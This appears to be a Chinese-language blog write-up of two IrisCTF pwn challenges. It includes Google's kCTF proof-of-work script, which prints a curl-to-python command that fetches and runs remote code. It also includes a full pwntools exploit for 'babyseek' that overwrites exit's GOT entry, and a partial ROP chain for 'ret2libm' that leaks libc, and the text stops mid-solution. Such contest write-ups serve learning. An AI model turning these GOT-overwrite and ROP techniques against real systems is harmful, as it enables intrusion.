本来是作Realworld5的,但进去以后一看啥都不会。本来打算周末就休息了,一看还有一个irisctf只不过附件都在discord上的,这个都下不来。搜来搜去搜了一天,终于搜到一个软件可以下载。
pwn
babyseek
这比赛为防止爆破用了一个谷歌的运算来延里。谷歌也上不去,好在github能上去,这上边有这个程序,包含解题程序。
先放这
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import base64
import os
import secrets
import socket
import sys
import hashlib
try:
import gmpy2
HAVE_GMP = True
except ImportError:
HAVE_GMP = False
sys.stderr.write("[NOTICE] Running 10x slower, gotta go fast? pip3 install gmpy2\n")
VERSION = 's'
MODULUS = 2**1279-1
CHALSIZE = 2**128
SOLVER_URL = 'https://goo.gle/kctf-pow'
def python_sloth_root(x, diff, p):
exponent = (p + 1) // 4
for i in range(diff):
x = pow(x, exponent, p) ^ 1
return x
def python_sloth_square(y, diff, p):
for i in range(diff):
y = pow(y ^ 1, 2, p)
return y
def gmpy_sloth_root(x, diff, p):
exponent = (p + 1) // 4
for i in range(diff):
x = gmpy2.powmod(x, exponent, p).bit_flip(0)
return int(x)
def gmpy_sloth_square(y, diff, p):
y = gmpy2.mpz(y)
for i in range(diff):
y = gmpy2.powmod(y.bit_flip(0), 2, p)
return int(y)
def sloth_root(x, diff, p):
if HAVE_GMP:
return gmpy_sloth_root(x, diff, p)
else:
return python_sloth_root(x, diff, p)
def sloth_square(x, diff, p):
if HAVE_GMP:
return gmpy_sloth_square(x, diff, p)
else:
return python_sloth_square(x, diff, p)
def encode_number(num):
size = (num.bit_length() // 24) * 3 + 3
return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8')
def decode_number(enc):
return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big')
def decode_challenge(enc):
dec = enc.split('.')
if dec[0] != VERSION:
raise Exception('Unknown challenge version')
return list(map(decode_number, dec[1:]))
def encode_challenge(arr):
return '.'.join([VERSION] + list(map(encode_number, arr)))
def get_challenge(diff):
x = secrets.randbelow(CHALSIZE)
return encode_challenge([diff, x])
def solve_challenge(chal):
[diff, x] = decode_challenge(chal)
y = sloth_root(x, diff, MODULUS)
return encode_challenge([y])
def can_bypass(chal, sol):
from ecdsa import VerifyingKey
from ecdsa.util import sigdecode_der
if not sol.startswith('b.'):
return False
sig = bytes.fromhex(sol[2:])
with open("/kctf/pow-bypass/pow-bypass-key-pub.pem", "r") as fd:
vk = VerifyingKey.from_pem(fd.read())
return vk.verify(signature=sig, data=bytes(chal, 'ascii'), hashfunc=hashlib.sha256, sigdecode=sigdecode_der)
def verify_challenge(chal, sol, allow_bypass=True):
if allow_bypass and can_bypass(chal, sol):
return True
[diff, x] = decode_challenge(chal)
[y] = decode_challenge(sol)
res = sloth_square(y, diff, MODULUS)
return (x == res) or (MODULUS - x == res)
def usage():
sys.stdout.write('Usage:\n')
sys.stdout.write('Solve pow: {} solve $challenge\n')
sys.stdout.write('Check pow: {} ask $difficulty\n')
sys.stdout.write(' $difficulty examples (for 1.6GHz CPU) in fast mode:\n')
sys.stdout.write(' 1337: 1 sec\n')
sys.stdout.write(' 31337: 30 secs\n')
sys.stdout.write(' 313373: 5 mins\n')
sys.stdout.flush()
sys.exit(1)
def main():
if len(sys.argv) != 3:
usage()
sys.exit(1)
cmd = sys.argv[1]
if cmd == 'ask':
difficulty = int(sys.argv[2])
if difficulty == 0:
sys.stdout.write("== proof-of-work: disabled ==\n")
sys.exit(0)
challenge = get_challenge(difficulty)
sys.stdout.write("== proof-of-work: enabled ==\n")
sys.stdout.write("please solve a pow first\n")
sys.stdout.write("You can run the solver with:\n")
sys.stdout.write(" python3 <(curl -sSL {}) solve {}\n".format(SOLVER_URL, challenge))
sys.stdout.write("===================\n")
sys.stdout.write("\n")
sys.stdout.write("Solution? ")
sys.stdout.flush()
solution = ''
with os.fdopen(0, "rb", 0) as f:
while not solution:
line = f.readline().decode("utf-8")
if not line:
sys.stdout.write("EOF")
sys.stdout.flush()
sys.exit(1)
solution = line.strip()
if verify_challenge(challenge, solution):
sys.stdout.write("Correct\n")
sys.stdout.flush()
sys.exit(0)
else:
sys.stdout.write("Proof-of-work fail")
sys.stdout.flush()
elif cmd == 'solve':
challenge = sys.argv[2]
solution = solve_challenge(challenge)
if verify_challenge(challenge, solution, False):
sys.stderr.write("Solution: \n".format(solution))
sys.stderr.flush()
sys.stdout.write(solution)
sys.stdout.flush()
sys.stderr.write("\n")
sys.stderr.flush()
sys.exit(0)
else:
usage()
sys.exit(1)
if __name__ == "__main__":
main()
回来看题,题目给了原码。
从代码上看,他先打开文件/dev/null,然后给出后门地址和file里_IO_write_ptr的值,然后可以输入一个偏移加到_IO_write_ptr上。就去做一个fwrite就exit结束了。
#include <stdlib.h>
#include <stdio.h>
void win() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
// This is just setup
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Your flag is located around %p.\n", win);
FILE* null = fopen("/dev/null", "w");
int pos = 0;
void* super_special = &win;
fwrite("void", 1, 4, null);
printf("I'm currently at %p.\n", null->_IO_write_ptr);
printf("I'll let you write the flag into nowhere!\n");
printf("Where should I seek into? ");
scanf("%d", &pos);
null->_IO_write_ptr += pos;
fwrite(&super_special, sizeof(void*), 1, null);
exit(0);
}
//you can find the location of functions in the Global Offset Table by using their name followed by @got.plt - for example, print &'fwrite@got.plt'.
到这虽然不知道原理但猜也是把这个偏移加上去让他指向一个位置,由于后边只有exit所以显然是把它指向got.exit在这里写上win的地址就行了。
from pwn import *
#proof
import gmpy2
import base64
p = 2**1279-1
VERSION = 's'
CHALSIZE = 2**128
def gmpy_sloth_root(x, diff, p):
exponent = (p + 1) // 4
for i in range(diff):
x = gmpy2.powmod(x, exponent, p).bit_flip(0)
return int(x)
def gmpy_sloth_square(y, diff, p):
y = gmpy2.mpz(y)
for i in range(diff):
y = gmpy2.powmod(y.bit_flip(0), 2, p)
return int(y)
def encode_number(num):
size = (num.bit_length() // 24) * 3 + 3
return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8')
def decode_number(enc):
return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big')
def encode_challenge(arr):
return '.'.join([VERSION] + list(map(encode_number, arr)))
def decode_challenge(enc):
dec = enc.split('.')
if dec[0] != VERSION:
raise Exception('Unknown challenge version')
return list(map(decode_number, dec[1:]))
#io = process('./chal')
io = remote('seek.chal.irisc.tf', 10004)
context.log_level = 'debug'
io.recvuntil(b'python3 <(curl -sSL https://goo.gle/kctf-pow) solve ')
enc = io.recvline().decode().strip()
diff,x = decode_challenge(enc)
y = gmpy_sloth_root(x, diff, p)
y = encode_challenge([y])
print(y)
io.sendline(y.encode())
#正文开始
io.recvuntil(b'Your flag is located around ')
got_exit = int(io.recvline()[:-2], 16) - 0x1229 + 0x3468
io.recvuntil(b"I'm currently at ")
ptr = int(io.recvline()[:-2], 16)
io.sendlineafter(b'into?', str(got_exit - ptr).encode())
io.recvline()
io.interactive()
ret2libm
题还挺新颖,头回见着这个。
先看源码,程序调用libm库,这个库执行数学运算用的。
加载地址和libc地址还有栈地址目前都不知道。仅给了libm中fabs函数地址。然后一个gets溢出。
#include <math.h>
#include <stdio.h>
// gcc -fno-stack-protector -lm
int main(int argc, char* argv) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char yours[8];
printf("Check out my pecs: %p\n", fabs);
printf("How about yours? ");
gets(yours);
printf("Let's see how they stack up.");
return 0;
}
这个由于libm库里没有read,write所以打算用rop,因为syscall这东西只有两个字符,仅运行一次的话到是有不少。不过一次好像完不了。
在本地运行时发现一个情况,libm加载的地址在libc后0x400000,而且这个地址是不变的。原来听说过在2.27以下这个是不变的,估计这就是突破点。
gdb-peda$ vmmap
Start End Perm Name
0x0000555555400000 0x0000555555401000 r-xp /home/kali/ctf/other/p2/chal
0x0000555555600000 0x0000555555601000 r--p /home/kali/ctf/other/p2/chal
0x0000555555601000 0x0000555555602000 rw-p /home/kali/ctf/other/p2/chal
0x0000555555602000 0x0000555555605000 rw-p /home/kali/ctf/other/p2/chal
0x00007ffff7400000 0x00007ffff75e7000 r-xp /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so
0x00007ffff75e7000 0x00007ffff77e7000 ---p /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so
0x00007ffff77e7000 0x00007ffff77eb000 r--p /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so
0x00007ffff77eb000 0x00007ffff77ed000 rw-p /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so
0x00007ffff77ed000 0x00007ffff77f1000 rw-p mapped
0x00007ffff7800000 0x00007ffff799d000 r-xp /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libm-2.27.so
0x00007ffff799d000 0x00007ffff7b9c000 ---p /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libm-2.27.so
0x00007ffff7b9c000 0x00007ffff7b9d000 r--p /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libm-2.27.so
0x00007ffff7b9d000 0x00007ffff7b9e000 rw-p /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libm-2.27.so
0x00007ffff7c00000 0x00007ffff7c29000 r-xp /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so
0x00007ffff7e29000 0x00007ffff7e2a000 r--p /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so
0x00007ffff7e2a000 0x00007ffff7e2b000 rw-p /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so
远程运行是不是0x400000,是多少由于有开始的运算延时,所以不能爆破。于是先用一个ROP来输出一下。由于可以用一次syscall也就能用ROP来执行写(没有/bin/sh就不能直接调用execv)。
libm和普通程序一样会有got表,在got表里找到一个memmove这个函数运行以后会填入libc.memcpy的地址。先调用一次让他填充再执行syscall write
#call memmove(buf,buf,8) fill got.memmove print libc.memcpy
rop = flat(0, 0, pop_rdi, libm_bss, pop_rsi,libm_bss+8, pop_rdx,8, libm.plt['memmove'], pop_rdi,1, pop_rsi,libm.got['memmove'], pop_rdx, 8, pop_rax, 1, syscall)